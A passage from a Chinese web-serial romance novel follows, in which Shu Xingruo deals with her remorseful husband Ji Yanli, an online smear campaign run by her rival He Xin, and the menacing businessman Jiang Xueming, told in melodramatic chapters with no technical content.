姜学名说:“你回去问问你的好外公,当年对我做过什么。”
“外公?”舒延兆多年来行医助人,不可能害人的。
舒星若正色反驳道:“我外公悬壶济世,从不害人,姜总,您这一顶大帽子扣下来我可不信。”
姜学名脸色微怒:“他不过是沽名钓誉之徒。”
舒星若心头火苗直窜,怒目圆睁:“不许你这样污蔑我外公。”
姜学名见她动怒,反倒笑了:“他唯一的贡献是教养了你。行了,不要生气了,坐下来陪我吃餐饭。”
舒星若霍地站起身来,“道不同不相为谋,你要针对我大可以继续,我也不怕。”
转身出门了。
季宴礼也跟着出来,他发现自己一点也不了解舒星若,以前她照顾自己的时候,脾气温和,对家里的佣人要求也不多。
“既然来了南湾八号,你也饿了,要不我陪你吃饭。”他语言恳切又卑微。
身后的保镖都惊呆了,他们季总什么向来不假辞色,什么时候这么谦卑的?
舒星若折腾了一下午也饿了,答应道:“行,那就吃吧。”
季宴礼心里一阵欢喜,她终于不再拒人于千里之外,是个好的开始。
他将菜单递给舒星若,“你看看你想吃什么?”
舒星若饿得手都有点抖了,对服务员说:“把你们上的快的菜来几道。”
服务员为难的看向季宴礼,他如数家珍的点餐:“黑松露鲍鱼红烧肉、蓝鳍金枪鱼大脂、澳洲菲力配鹅肝、碳烤和牛小排、双味百合和星空燕窝。”
“以最快的速度上菜,服务费我翻倍,我太太饿了。”
服务员去下单之后,他关心的问舒星若,“你要喝红酒吗?”
跟他喝?舒星若还没疯。
“不用,谢谢。”
包厢里静得仅剩两人的呼吸声,季宴礼没话找话:“姜学名那边你不用担心,我去帮你对付他。”
舒星若可不想欠他人情,“没事,我自己能应付。”
她其实没有一点把握,但是姜学名有头有脸的,她给他发短信:【我有你海外账户打款的信息,我不介意玉石俱焚。】
姜学名的微信好友申请来了,舒星若点了个通过。
【小丫头,你这脾气可真坏。】
舒星若:【行止生物是我的心血,逼急了我什么都做得出。】
她也只是吓唬吓唬他而已,毕竟还有年幼的儿子和年迈的长辈。为了一个糟老头豁出去不值得。
大不了从头来过,也许季宴礼能良心发现不跟她抢孩子。
姜学名秒回:【你这只小白兔咬人也不疼。】
莫名的恶心,舒星若气得把手机扔在一旁。
第78章 你可以每天骂我出气
季宴礼原本见她一直低头玩手机很不高兴,睥到她气得胸口起伏,肯定不是跟苏容泽聊天。
他心情大好。
菜很快上来了,一桌子漂亮饭。色香都有了,来试试味。
舒星若夹起一块牛菲力,乖乖,好吃到差点咬了舌头。季宴礼这个混蛋总算做了回人。
她饿得前胸帖后背,大快朵颐了起来。
季宴礼边吃边看她,以前她在家吃饭都是矜持又缓慢的,现在狼吞虎咽的她更加真实。
他喉头微微滚动。
“星若,你记得我们第一次见面的情形吗?”
“不记得了。”有些事她已经从心上挖掉了。
“我记得,那时候的你扎着丸子头,青春洋溢。你有条不紊的给发羊癫疯的同学扎针,救了他一命,像个跌落凡间的天使,善良又美丽。”
季宴礼在大学时期是高冷男神,跟何欣谈恋爱也是她使了手段拿下的。
他注意到舒星若是她在食堂里急救同学,他觉得这个女孩子很厉害。
后来他们在学生会相遇,做了个点头之交。
情窦初开的舒星若却沦陷了,深深的爱上了他。
舒星若只觉得可笑,她从来都没变过,只要她能救的人她都救。
这个男人骂了她六年心机重,却突然夸自己心善。
“季总,你不是一直觉得我心机深沉吗?什么时候改变了刻板映像?”
季宴礼面露惭愧:“对不起,当初是我眼瞎,被何欣蒙蔽,你愿意的话可以每天骂我。”
舒星若翻了个白眼:“我没那种嗜好。”
吃饱喝足,她抬脚就走,眼神都懒得给季宴礼。
季宴礼立刻跟了上来。
“我心甘情愿被你骂,你可以随便找我出气。”
神经,舒星若想,他失恋了也不至于变得这么怪异。真该给他看病了。
高峰已经将车从地库开到门口,两人上车,一路上季宴礼找话题聊,舒星若只回“嗯,哦,是。”
敷衍溢于言表。
但季宴礼不在乎,只要她还搭理自己,他相信自己会重拾她的爱。
姜学名等了半天也等不到舒星若的回复,发了一条:【小白兔生气了?】
发现自己被拉黑了。
给她打电话,同样拉黑。
姜学名胸口像压了一块大石,这么多年来,这是第一个拉黑他的人。
他嘴角上扬:“小丫头还真有个性。”
他打了个电话:“把何欣给我带来。”
“姜总,她受伤了,在住院。”
姜学名的语气里已有杀气,“抬都要把她给我抬过来。”
“是!”
此时的何欣全身疼痛,躺在床上辗转难眠,已经诅咒了舒星若八百遍。
**太狠毒,竟然仗着有苏容泽撑腰把自己踹下楼。
还竟然鉴定不了轻伤,只需要赔钱了事。
气得她晚饭都没吃。
现在最烦的是季宴礼不理她了。
与她相熟的狗仔给她发了一张,季宴礼和舒星若肩并肩的照片。
季宴礼的身体快贴到舒星若身上了,照片的角度刚好让他们看起来很亲密。
【你男朋友出轨了吗?这女的好像跟苏容泽传绯闻来着。】
何欣恶向胆边生,给狗仔转了十万。
【他就是出轨了,舒星若不知羞耻勾引我男朋友。你帮我把新闻发出去,让他们被大家唾骂。】
何欣心想:“反正季宴礼不要我了,干脆坐实他渣男的名声。我不好过,大家都别想好过。”
狗仔眉笑眼开:【好嘞!】
没过一会这条新闻就上了热搜,评论区炸锅了。
【我不信,就照片能说明什么?一没牵手二没搂搂抱抱的。真会看图说话。】
【她不是跟苏容泽一对吗?怎么可能还看上别的男的?】
【是苏容泽单恋她,她眼神坚定得像要入党。连暧昧都没有。】
【舒大夫抢人家男朋友?我怎么觉得是假新闻呢?她前几天刚治好我的陈年老胃病。】
【是啊,我也预约上了她的号,看我是学生,免了医药费。还劝我不要想太多,心情好病才能好的快。】
【对,我买了她公司的祛斑霜,真的很好用。】
评论区清一色的讨论舒星若的医术和
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人品,狗仔一见事情没有朝着想象中的方向发展。
何欣请的水军开始发力。
【舒星若明显是勾引季宴礼啊,这女的不得了,脚踏两条船。一手吊着苏容泽,转头就跟别的男人滚混。】
【就是,明知道人家有女朋友,还往他身上贴,不要脸。】
【你们不要被她的外表骗了,她就是个小三,专门勾引男人,先是苏容泽后是季宴礼。】
【你看她跟季宴礼暧昧的样子,要说没关系,我打死也不相信。】
【对呀,谁家好人能贴在一起。】
越讨论此事热度越高,不管舒星若怎么澄清,她婚姻期间跟其他男人勾搭没跑了。
季宴礼是渣男,苏容泽喜欢有夫之妇,一切都坐实了。
一招搞臭他们三个的名声,何欣觉得自己简直就是个天才。
一旦舒星若的名声臭了,看这两个男人还会不会要她?她的事业还能继续不?
舒星若,敢打我,我就看着你**?
何欣正躺在床上洋洋得意刷手机之时,姜学名的手下楚建业来了。
楚建业活似李逵转世,一张脸既黑又恶,任谁看了那张脸都胆寒三分。
“何小姐,姜总请您过去一趟。”
何欣一哆嗦,手机直接掉到地上了,“姜……姜总这么晚找我什么事?我受伤了,恐怕去不了了。”
楚建业二话不说将何欣从病床拽了下来,何欣感觉身上每一寸骨头都要碎裂了,痛得脸都变形了。
“自己走还是要我扛你去?”
何欣粗口喘气:“我自己去。”
她此时每走一步全身都像要散架了,但是又不敢不走,姜学名比楚建业更可怕。
到了之后,何欣还没站稳,姜学名就甩了她一巴掌。
力度之大,直打得何欣眼冒金星,跌坐在地上。身上的伤从四面八方将她包围,痛得直落泪。
她小心翼翼的问:“姜总,您这是怎么了?”因为害怕她浑身都在颤抖。
姜学名鹰隼般的眼神扫过何欣的脸上,煞气腾腾的开口:“你怎么不告诉我舒星若长着一张舒月的脸?”
第79章 废了她一条腿
舒星若跟舒月长得特别像,当年王阿姨还开玩笑说这孩子像是舒月的翻版。
姜学名和田玉芬是青梅竹马,当年田玉芬被人诬陷偷东西,舒月救了她,间接认识了姜学名。
姜学名只一眼就爱上了舒月,果断抛弃了田玉芬。他爱舒月爱得发狂,奈何她眼里只有何宏。
田玉芬插足舒月的婚姻,姜学名喜闻乐见,以为自己的机会来了,却被舒延兆硬生生赶出了行止堂。
他去找过舒月很多次,每次都是避而不见。四年以后,舒月**了。他连最后一面都没有见到。
从此他恨上了舒延兆。
何欣来告诉他行止生物是舒延兆的外孙女创办的,她要将行止这个牌子做大做强。
姜学名第一时间就想毁掉这牌子。
雇水军举报并恶评。
刚他看见舒星若那张脸,他后悔自己干的蠢事,他怎么舍得让舒月吃苦。
都怪何欣的挑唆。
何欣有点懵逼:“您不是恨舒家人吗?再说了我没见过舒月,也不知道啊。”
“不知道?”姜学名一脚将她踹开,力道之大,让何欣本就剧痛的身体像散了架一般。
她撞倒一旁的餐边柜上,发出一声闷哼,眼前阵阵发黑。
“废物!”姜学名居高临下地看着她,眼里充斥着厌恶,“一个连对手底细都摸不清的蠢货,还想跟我谈合作?建业,把她那条腿给我废了,扔出去。”
“是,姜总。”楚建业面无表情地走上前,那蒲扇般的大手仿佛能轻易捏碎人的骨头。
死亡的恐惧瞬间攫住了何欣的喉咙,她强忍着浑身的剧痛,脑子飞速运转。
她不能死,更不能残废!她还有大好的年华,她要报复舒星若,她要过豪门贵妇的生活。
“姜总,别!”她嘶声尖叫,声音因恐惧而扭曲,“求您放过我,我,我还有用,我对您还有大用!”
姜学名像是听到了什么天大的笑话,嘴角勾起一抹残忍的弧度:“哦?你一个被季宴礼玩剩下的女人,能有什么用?”
这句话像一盆冰水,浇灭了何欣最后的自尊,却也激起了她最原始的求生欲。
她猛地抬起头,布满泪痕的脸上挤出一个娇滴滴又勾人的笑容,眼神里充满对眼前男人的渴望。
这是她精心练过的,她那双眼睛看狗都深情。
她一字一顿,声音些许颤抖,“季宴礼他,他没碰过我。我还是干净的!”
这话一出,连楚建业的动作都顿了一下。
姜学名挑了挑眉,眼里的讥讽更浓了:“你当我是三岁小孩?他都在拍卖会上给你点天灯,就是为了跟你拉手?”
“是真的!”何欣急切地解释,也顾不上什么脸面了,“他可能不行了,我暗示过他很多次,他都不肯碰我。连手都不牵。”
姜学名盯着她看了半晌,在分辨她话里的真假。
何欣的心提到了嗓子眼,她知道,这是她唯一的机会。她忍着身上撕裂般的疼痛,挣扎着从地上爬起来,一步一步,极其艰难地挪到姜学名面前。
她颤抖着手,开始解自己病号服的扣子。那张因疼痛和恐惧而惨白的脸上,硬是挤出妩媚的姿态,只是这媚态在剧痛的扭曲下显得格外诡异和可怜。
“姜总,您要是不信,可以亲自验一验。”她的声音带着哭腔,柔媚得听的姜学名起鸡皮疙瘩。
女人姜学名见得多了,这么骚的他还是第一次见。
“我把我自己给您,只要您放过我,让我做什么都行。我恨舒星若和季宴礼,我会让他们身败名裂,求您给我一个机会。”
她将自己最后一点尊严,赤裸裸地摊开,像一件商品,等待着买家的估价。
姜学名看着她,眼里的杀气渐渐褪去,取而代之的是一种玩味的审视。
她都浪成这样了,季宴礼还无动于衷,可能真的不行。
想起舒延兆的外孙女婿不能人道,他觉得是一件非常令人愉悦的事。
怪不得舒星若会跟苏容泽闹出绯闻,原来是吃不饱。
他嘴角划过一丝诡异的微笑,舒
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星若的那张脸可真让他心动啊。
仿佛回到了三十多年前,舒月对他笑的时候是那么美。
他挥了挥手,楚建业立刻会意,悄无声息地退了出去,还体贴地关上了门。
包厢里只剩下两人。
姜学名没有动,只是端起桌上的红酒,轻轻晃动着,猩红的液体在杯壁上挂出优美的弧线。
他看着何欣,像在看一只在陷阱里垂死挣扎的猎物。
“你凭什么觉得,你能让季宴礼身败名裂?”
何欣稳住心神,剧痛让她的大脑异常清醒:“因为我了解季宴礼,也了解女人。现在网上骂舒星若是小三,她肯定不服气晒出结婚证,那时候就坐实了季宴礼渣男的身份。舒星若虽然撇清了小三的嫌疑,但只要我运作得好,就能把舒星若拖下水,让她变成一个婚内出轨、水性杨花的**!到时候,季宴礼和苏容泽两个男人为了她争风吃醋,您想,这新闻该有多精彩?”
她眼中闪烁着恶毒的光芒,“我会让他们三个人的名声,全都烂在泥里!”何欣愤恨的想:“我不好过,你们三谁也别想好过!”
姜学名的脸半阴半阳,“你怎么黑季宴礼都没事,不许动舒星若。你记着,你只要动了她,我会让你生不如死。”
他的话如同泰山压顶,将何欣吓得浑身战栗。
“好,我只针对季宴礼和苏容泽。”乖巧得像一只狗。心里在咒骂:“难不成老东西看上了舒星若?也好,我受过的罪也让她尝一遍。”
姜学名轻轻笑了,他放下酒杯,站起身,一步步走向何欣。
何欣的心跳到了极致,她闭上眼睛,准备迎接即将到来的命运。
身上的剧痛和心里的恶心交织在一起,像一张密不透风的网,将她牢牢困住。
但她没有退缩,脑海里反复闪现的,是我要过贵妇的生活,我不能吃苦。不就是老男人吗,我受得住。
半小时后,何欣从包厢里走了出来,浑身的骨头像被拆了重组一样,痛得她几乎无法动弹。
第80章 季宴礼开始当人了
包厢里面的姜学名容光焕发,年轻的女人滋味可真好。
尤其是这种极尽媚态的尤物,可以玩一段时间了。
这女人果然是货真价实的处,很好。
他的眼前又浮现出舒星若的脸,他恨恨的骂道:“这样的女人跟着季宴礼那个混蛋,可惜了。”
楚建业送何欣回医院,他吩咐道:“姜总交代了,您以后是他的女人。等您身上的伤好了,搬到他名下的房子里去。这是附属卡,每个月三十万的额度。”
楚建业递给她一张卡。
何欣嘴含微笑,得意的想:“季宴礼,没有你我一样能过奢侈的生活。”
这才刚开始姜学名就送卡了,以她的本事保证让姜学名离不开自己。到时候名牌豪宅应有尽有。
她连走路的姿势都像只昂首挺胸的大公鸡。
季家这边,舒星若和季宴礼一起回家,季知许惊得小嘴都没合上。
他拉舒星若上楼说起悄悄话,“妈妈,你们和好了吗?”
他内心挺纠结的,哪个小朋友不希望生活在父母双全的家庭。
但是又知道季宴礼对舒星若不好,他希望母亲开心。
舒星若说:“你爸爸最近失恋了,黏人得很。或许他有了新目标又该冷落我了。”
“那你还是尽快跟他离婚,带我搬出去。”
舒星若望着满屋的豪奢家具,以及楼下大批的佣人,轻声说道:“许许,你跟着妈妈,就过不了这种生活了。”
季知许亲昵的搂着她的脖子,“我有妈妈住茅草屋都开心。”
一句话将舒星若逗乐了,“妈妈还不至于穷成那个样子,妈妈再努努力,争取让你继续住别墅。”
“好嘞,妈妈怎么说都行。”
言永飞急匆匆的赶来,向季宴礼汇报了网上的言论,季宴礼快气炸了。
他坚信是何欣干的,“去把网上所有负面的言论删了,给我注册一个微博号,发出结婚证书和我们的全家福。”
言永飞觉得太阳打西边出来了,但是为了集团利益,他犹豫道:“季总,您之前跟何欣出双入对没那么久,外人都说她是您女朋友。还有您那次在拍卖会点天灯,也引起网上热议。如果公布早就结婚了,这不是坐实了您出轨的事吗?”
平时私底下怎么闹都没事,如今上了热搜,对季氏的商誉会有影响。
季宴礼说:“商誉慢慢修复,眼下我不能再让星若受委屈了。当然你不能让这件事再发酵,叫公关部盯紧**。有人带节奏就删帖。”
言永飞:“好,我这就去办。”
舒星若在房间里,黄丽歌已经跟她汇报了网上的事。
她冷笑,“何欣,你要自寻死路我帮你。”
她在保险箱里拿出结婚证书,准备拍照上网,电话响了起来,是苏容泽。
“季宴礼公布了你们已婚的消息了。”
苏容泽一直在监控舆情,骂舒星若的言论他叫人删掉了很多。
看到季宴礼突然晒出结婚证书,他有些难以置信。难道季宴礼回心转意了?
“啊?”舒星若无法相信,只觉得是自己听错了。
这么像人干的事,季宴礼那王八蛋能干得出来?
苏容泽问:“他公开你了,也就是打何欣的脸。他们关系可能破裂了,他又回到了你身边。你还想跟他离婚吗?”
他的心跳得很快,怕听到不想听到的答案。
“做梦都想,可惜他不肯签字。打官司的话也要个一年半载,他还跟我抢许许的抚养权。”
苏容泽在电话那头沉默了片刻,说道:“我会帮你的。”
舒星若却拒绝了:“因为我的事,你现在也卷入了我们的狗血三角恋中,何欣就是个疯子,不能再影响你了。”
“我没事的,熬个一年多就自由了。”
挂了电话,苏容泽却喃喃自语道:“可我不想再等一年多了。”
他换了卫星电话,给一个男人打电话。
“进展怎么样了?”
“大哥,那是**系统啊,防火墙很难破的,兄弟们都熬了几个通宵了,你再给我几天时间。”
“快点。”
“知道了。”
季宴礼上楼的时候,舒星若坐在桌开着笔记本电脑写东西。
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季宴礼开口道:“你放心,这事不会影响到你,我已经澄清了。”
“嗯,我知道了。”她眼皮都没抬。
季宴礼有些胸闷,自己不要名声的保护她,她怎么连句谢谢都没有。
“你之前总抱怨我不公开你,现在公开了,你该消气了吧?”
舒星若平静的说:“我没有生你的气。”准确的来说是她压根就不在意他。
如此的冷漠让季宴礼心痛不已,他问:“你什么时候休息?我想睡了。”
“你先睡吧,我去书房工作。”
哎,还以为可以抱着她睡。
舒星若在书房里噼里啪啦的敲着,写出这些年他们三人之间的恩怨情仇。
从何欣生日宴她被算计开始写,还写了何欣的种种挑衅,以及季宴礼的无脑。
她不介意让大家去网暴何欣,是她先惹出来的。
电话声突然划破了寂静的夜晚,是季家安。
“爸,这么晚了,您有什么事?”
季家安的声音里带着明显的忧愁,“星若,宴礼在网上公开了你,可是会被人骂他出轨,一个闹不好他以后就是这个形象。会影响季氏集团的。”
舒星若心想,他本来就是出轨男啊。
季家安接着说:“我希望你帮帮他。”
舒星若问:“怎么帮?”季家父母一直对她很好,她没有理由拒绝。
“我叫公关部写了一篇稿子,已经发你邮箱了。你看下,没问题的话发在你的微博上。其他的你就不用管了。”
“好的,先挂了,爸!”
“再见!”
舒星若打开邮箱下载了文档,认真看起了公关稿。
这简直就是个天才写的,文笔精妙,用词精准,也是从何欣的生日宴讲起,将所有的事情说了个明白。
笔者将何欣的恶毒本性一一还原,连田玉芬做小三的事都提及了。
不过将季宴礼摘了出去,他被塑造成一个被初恋欺骗,误会妻子的可怜男人。他知道真相后悔恨不已,一直在弥补。
看完之后,舒星若在纠结,要不要顺手料理了季宴礼。
第81章 何家被扔臭鸡蛋
舒星若觉得季宴礼本来就是渣男,把事实写出来,虽伤不了他的根本。有一群互联网嘴替骂骂他也蛮爽的。
正踌躇间,季家安的电话又来了,“星若,你看完了吗?”
“看完了。”
“发吧!”
舒星若思索片刻,鼓起勇气说道:“爸,我有个条件,您给我写个协议,将来我和季宴礼离婚,许许的抚养权归我。”
“好!”
这些年季知许被她教养得很好,即使季家没有抚养权,大了自然会回来继承家业的。
而且季家安觉得季宴礼又不喜欢舒星若,肯定会再婚生孩子的。而舒星若却不能生育了,许许是她唯一的孩子。
季家安很快将协议发了过来,舒星若手微微颤抖,她终于可以不用失去儿子了。
将公关稿发了出去,她便回房间了。季宴礼还没睡,一直在等她。
舒星若说:“不都说了不用等我吗?”
“以后我都会等你,不会再把你落下了。”
一觉醒来,网上**风向已转。
【我就说嘛,舒星若医术好、心地好,怎么可能当小三?】
【对呀,人家是隐婚而已,季公子不公布她又不能怪她,嫁豪门并不容易。】
【我哭死,舒星若的医术是真好,连瘫痪都能治好。而且季家困难时期她也不离不弃,要不是她季宴礼早没了。】
【有什么用呢?陪男人吃苦,白月光一回国男人就晕头转向了。你见过季宴礼出席活动带舒星若吗?舒星若比那小三好看多了。】
【她是真的能忍,何欣高调回国天天上热搜,老公给小三点天灯,她愣是没出来骂一句。】
【嫁豪门都变成忍者神龟。】
【我怎么感觉她恋爱脑?被一个男人漠视了六年,居然还不离婚。】
【我是行止的员工,其实舒总不是恋爱脑,我感觉她是事业脑。每天在公司都是认真工作的,我们谁心情不好,她还给我们号脉,说肝气郁结对身体不好。配了很多花茶给我们喝。】
这位网友还附了图。
底下的人纷纷表示羡慕,大家都想喝行止的花茶。还有人注意到花茶旁边的小点心,有花瓣的、小白兔的、愤怒小狮子的。个个精致得像艺术品。
【点心看起来很好吃。】
【这是舒总叫他家佣人做的药膳点心,经常带来公司给我们吃。】
【叫你们老板上架啊,我想吃。】
【是啊,我也想吃,快上架。】
舒星若留意到了这条讨论,她在备忘录里记下:【可以开发花茶市场和药膳点心市场。】
【也许舒星若心怀宽广,对渣男小三不是很介意。】
【我也觉得是,不然为什么她被骂插足都没晒结婚证书?】
【太可怜了,被小三欺负上脸了也没有反击。】
【怎么会没有反击?小三住院了。】
何欣住院的照片被挂了上去。
看到何欣的惨状,网友们更加喜闻乐见。
【这是舒星若打的?她看起来很温柔呢,想不到战斗力这么猛。】
【我是医院的,这事我知道,何欣昨天送进来的。伤得挺重的,我们碰一下她都疼,我们都以为是轻伤二级,结果鉴定出来连轻伤都不是。】
【哈哈哈,不要得罪医生,以前不是有个新闻,渣男被医生老婆捅了十六刀,刀刀避开要害,归来仍是轻伤。】
【对,我也记得那个新闻,我还担心舒星若拿的是软弱无能的原配剧本,原来是腹黑大女主。我喜欢。】
【这女人会轻易放过舒星若?】
【我是办案的,不到轻伤赔钱就行了。当小三被原配打我们见得多了,这么有分寸的,第一次见。】
【要我说舒星若够忍耐的了,那女的跟他老公出双入对好几个月了,现在才出手,搁我她回来第一天就削她了。】
在评论区的轮番轰炸下,何欣变成了虚荣无耻的前任、绿茶婊,舒星若是可怜又正义的原配。
季宴礼的风评好了一些,但是很多人骂他脑干缺失,被一个绿茶骗了这么多年。
有一拨人说男人对初恋无法抵抗,利用这个人性的b
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ug他免除了被网友口诛笔伐。
何欣的信息被人开盒,连同田玉芬当年当小三,前几天藏D都被扒,还有何宏出轨舒月闺蜜的事。
【**,这一家真是奇葩啊。我当你是闺蜜,你反**我老公。你的生的女儿还来三我的女儿。我要是舒星若她妈,半夜高低得爬上来问候小三一家。】
【原来当三真的可以遗传。】
【可不是?妈妈破坏人家婚姻,女儿也继续,还在网上往人家原配身上泼脏水。】
【道德败坏的一家人,舒星若幸亏没在他们家长大,不然也三观不正,还要被**。】
【听说何小三的妈妈要吃花生米,这算不算报应呢?】
【就是报应,破坏别人的家庭,害得原配**。活该。】
何家门口被人扔了很多臭鸡蛋,吓得何宏和家里的保姆都不敢出门。
何欣住的医院信息曝光了,有暴怒的网友要在医院揍她,被医护人员阻拦了。
吓得她赶紧出院,搬进了姜学名准备的房子里。
可惜姜学名只给她准备了个小公寓,不像季宴礼上来就送大别墅。
何欣气得跳脚,但又不敢出门,怕被人打。
她给姜学名打电话,想博取同情,对方没接。她只能躲在小公寓里。
林安禾跟舒星若说起这些的时候,笑得特别大声。
昨天她太忙了,加班到很晚,一早起来发现了这个大惊喜。
舒星若不以为然:“何欣是搬石头砸自己的脚,明知道我有结婚证还敢嚣张。”
林安禾说:“你当她傻吗?她是想一箭三雕毁了你们三的名声,只是没想到季家会出手。评论区你们家老爷子没少买水军,苏容泽能完美隐身他自己也下了不少功夫。”
这样一说还真是,这次网络**一边倒,季家和苏容泽那边花了不少钱。
“我给你发个协议,你帮我看看有没有用。”
挂了电话,舒星若将季家安给的协议发给林安禾,林安禾看了一会回道:【牛逼,有了这个,抚养权官司你稳了。】
第82章 同时送花
太好了,舒星若长长的松了一口气。
这段时间以来,她所有的一切都是为了今后的抚养权。
得到了,她整个人都放松了。
下楼的时候,季宴礼见她脸上犹如朝霞般明艳,“你出了一口恶气,果然开心开心了不少。对不起,之前没有答应你。”
舒星若人逢喜事精神爽,变得大方起来,“你能主动发结婚证书也是个进步。”
“我还可以继续进步,你给我点时间就行。”
舒星若低头吃饭。
季知许却明白母亲的心意,提醒道:“爸爸,那你得快点追上妈妈,我妈妈很受欢迎的。她人美心善还能力强,追她的人都排到浦东了。”
季宴礼却不害怕,苏容泽再喜欢舒星若,只要他不在离婚协议上签字,他也没有办法。
苏家的事最近他打听了一些,苏容添夫妻俩对东盛集团虎视眈眈,苏容泽不会不顾脸面乱来的。
而且他静下心来想一想,舒星若应该也没有喜欢苏容泽,他们最近很少见面。
季宴礼还要送舒星若上班,被她拒绝了,“我有时候要出门,没车不方便。”
季宴礼有些怅然若失。
“那中午我有空就过来找你吃饭。”
“不行,今天午餐约了人。”她没有约人,就是单纯不想跟他一起吃饭。
“那改天吧。”
到了办公室,行止的同事纷纷围上来,。
“舒总,想不到您竟然是季氏总裁夫人。”
“为什么我们公司要开在东盛集团里面啊?”
“上次我们投标季总压根就不想帮您,是因为您的研究震慑了瑞祥生物了吗?”
大家七嘴八舌的。
舒星若被这些八卦小能手整的有些无语,她说:“哎,大家不要过于关注我的私事,安心工作吧。”
吃不到瓜的同事们如鲠在喉,私下里在群里偷偷讨论,舒星若究竟是喜欢季宴礼还是苏容泽。
舒星若的桌子上多了一束巨大的红玫瑰,目测几百朵。
黄丽歌飘进来了:“早上一个闪送送过来的。”
舒星若打开卡片,上面写着:“恭喜你,愿每日欢愉!”
她猜应该是季宴礼,这家伙现在究竟想干什么?
她猜不透也懒得猜,将玫瑰花束放到一旁,打开电脑开始工作。
她看了一下昨天的直播数据,销售金额竟然上涨了几十万。
内线打给冯胜。
“冯总监,昨天数据怎么突然上涨了?”
冯胜说:“昨晚八点之后常驻直播间的那些黑子没了,后来季宴礼发了结婚证,直播间多了很多人。可能跟您上热搜有关。”
舒星若不由得感慨,自己这算是因祸得福吗?
她翻开备忘录,决定进一步拓宽产品线,让黄丽歌通知销售部、市场部、研发部开会。
正讨论着,外面骑手又送来一大捧贵妃重瓣百合花。
每个花苞都是**色的渐变效果,极为温柔且浪漫。而且有柚子果肉的清香,加上百合独有的香气,芳香四溢沁人心脾。
办公室的小群里更热闹了,纷纷讨论肯定是苏容泽和季宴礼送的花。
可是舒星若没离婚,苏容泽难道要当小三?
黄丽歌将花送进去,“舒总,这花可真漂亮,从来没见过这么好看的百合花。”
舒星若惊讶,这又是谁干的?
打开卡片,上面写着:“星若,愿我们百年好合,永不分离。”
舒星若傻眼了,这束花事季宴礼送的,前面那束难道是苏容泽?他应该不会这么高调。
她发信息给苏容泽:【你今天给我送花了吗?】
【没有!】
不是苏容泽,又会是谁?
她无暇理会,继续开会。
开完会,手机响了起来,是个陌生号码。
“小若若,我送的花喜欢吗?”
这声音听着有点耳熟,但舒星若想不起来是谁。
“请问你是?”
对方明显有些失落,“怎么昨晚刚见面就把我忘了?”
舒星若翻了个白眼,原来是那个该死的姜学名。
想起他送的红玫瑰,她就想作呕。
她没好气的说道:“你污蔑我外公,我没必要记着你。还有,不要搞这些无聊的小动作。你要对付行止,我随时奉陪。”
姜学名嬉笑着道:“小丫头不要这么火爆,我跟舒延兆之间的恩怨不
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会牵扯到你。你应该知道,我已经收手了。”
舒星若冷声道:“别妄想我会感恩戴德,少来打扰我。”
还没等姜学名回应,舒星若便挂断了电话,顺手也拉黑了这个号码。
舒星若叫黄丽歌进来将红玫瑰扔了,黄丽歌刚抱着玫瑰出来,门口季宴礼来了。
他今天穿的是黑色大衣,内搭高定西装,气质清冷。舒星若今天穿了他送的那套苏绣服侍,他特意选了条领带来衬她。
黄丽歌打招呼:“季总好!”
季宴礼只略微点头,问道:“这玫瑰是别人送给我太太的?”
黄丽歌虽然八卦,但嘴严,“不好意思,无可奉告。”
“我得问问舒总要不要您进去。”
得到舒星若的许可之后,季宴礼才进去。
这是他第一次来舒星若的公司,而舒星若从未去过季氏集团。
他走进来的时候,大伙都看他。
群里又讨论了起来。
【舒总老公上来是宣誓**的吗?】
【刚小黄抱着他送的花扔了,他知道了不得气疯了?】
【你怎么知道那花是他送的?】
【你看上次在度假村舒总对两个男人的态度就知道了。】
【对,舒总对苏容泽笑语盈盈,对季宴礼就冷冰冰的。】
【也许是为了隐婚呢。】
季宴礼前脚刚进去,后脚黄丽歌就送了一杯花茶进去。她进去主要是为了看两人的脸色,没什么异样。
回到座位立马发:【玫瑰不是季宴礼送的。】
【我去,苏容泽被打入冷宫了?】
季宴礼问舒星若:“刚那束花事谁送的?”要是苏容泽送的,花被扔了,就意味着他出局了。
舒星若从文件中抬头:“姜学名。”
“姜学名?”季宴礼震惊得都破音了,这老头跟何宏差不多大,竟然恬不知耻的来送花。
“糟老头竟然看上了你,星若,你不要怕,我会对付他的。”
他动不了苏容泽,区区一个揽月药业他还没怕过。
“好!”舒星若实在是厌恶姜学名,能有人帮她出手料理再好不过了。
“那你中午有空陪我吃饭吗?”
第83章 苏容泽的女朋友
舒星若实在不明白季宴礼,“你干嘛非要我陪你吃饭?”
他眸色明亮,“星若,我想参与你的生活。”
都快要离婚了,还参与什么?
舒星若有点无语:“都说了我中午约了人,没空。”
季宴礼说:“你约了谁?”
他可不想听见苏容泽的名字。
“林安禾。”只能拉她做挡箭牌。
“那你带上我吧,她是你朋友,也没什么不方便的。”
舒星若惊讶于他的脑回路,“她是我朋友,跟你又没有关系。”
季宴礼说:“要不我晚上也带你去参加我朋友的聚会,你带我跟你朋友吃饭。”
“算了吧,我晚上不加班就回家陪儿子。”
季宴礼失落的下楼了,他问言永飞:“为什么她一直拒我于千里之外?我都跑过来求她了。”
“季总,冰冻三尺非一日之寒。”
季宴礼仿佛在喃喃自语:“我这些年真的那么差劲?”
言永飞心想:“不然呢,天天跟冻库似的。”嘴上沉默,他可得罪不起这位。
季宴礼见言永飞沉默,明白了他的意思。
他长叹一口气,心想:“那我争取从现在开始,当一个好丈夫。我不会失去她的。”
他沉声说道:“你帮我去查一下揽月药业和姜学名。”
“好的,季总!”
要是让他知道姜学名对舒星若不利,他会不择手段对付他。
出电梯的时候,碰见苏容泽和一位长相清丽的女生一起下来。
两人之间距离不到十公分,关系匪浅啊。
季宴礼玩味的望着苏容泽,嘴角挂上得意的笑容。
“苏总,这是换新目标了吗?”
还未等苏容泽回应,女孩伸手对季宴礼说,“你好,我是阿泽的朋友,我叫惠萱彤。”
季宴礼对她的示好没有兴趣,只淡淡的说:“你也可以做他的女朋友,他单身,你们挺配的。”
女孩脸上掠过惊喜的笑容,她眼睛化作星星望着苏容泽,“阿泽,你的朋友说我们般配呢。”
苏容泽冷冷的说道:“他不是我的朋友。”
季宴礼说:“只要你别觊觎她,我们可以是朋友。”
苏容泽呛声道:“我看不上你的人品,没有必要。”眼神中充满鄙视。
说完,自顾自的走了。
留下三人尴尬的在原地,惠萱彤立刻去追苏容泽,“阿泽,等等我。”
季宴礼被气得够呛,“不是,他什么意思?我人品怎么了?我是青年一辈中的佼佼者,我救季氏于危难,我力挽狂澜,我……”
他絮絮叨之间,舒星若下来了。她都快饿**,特意等了一会才下来。
想不到季宴礼竟然还没走。
季宴礼见到她心情大好:“你这个点去林安禾那可来不及了。”两地隔了七八公里,林安禾午休时间有限。
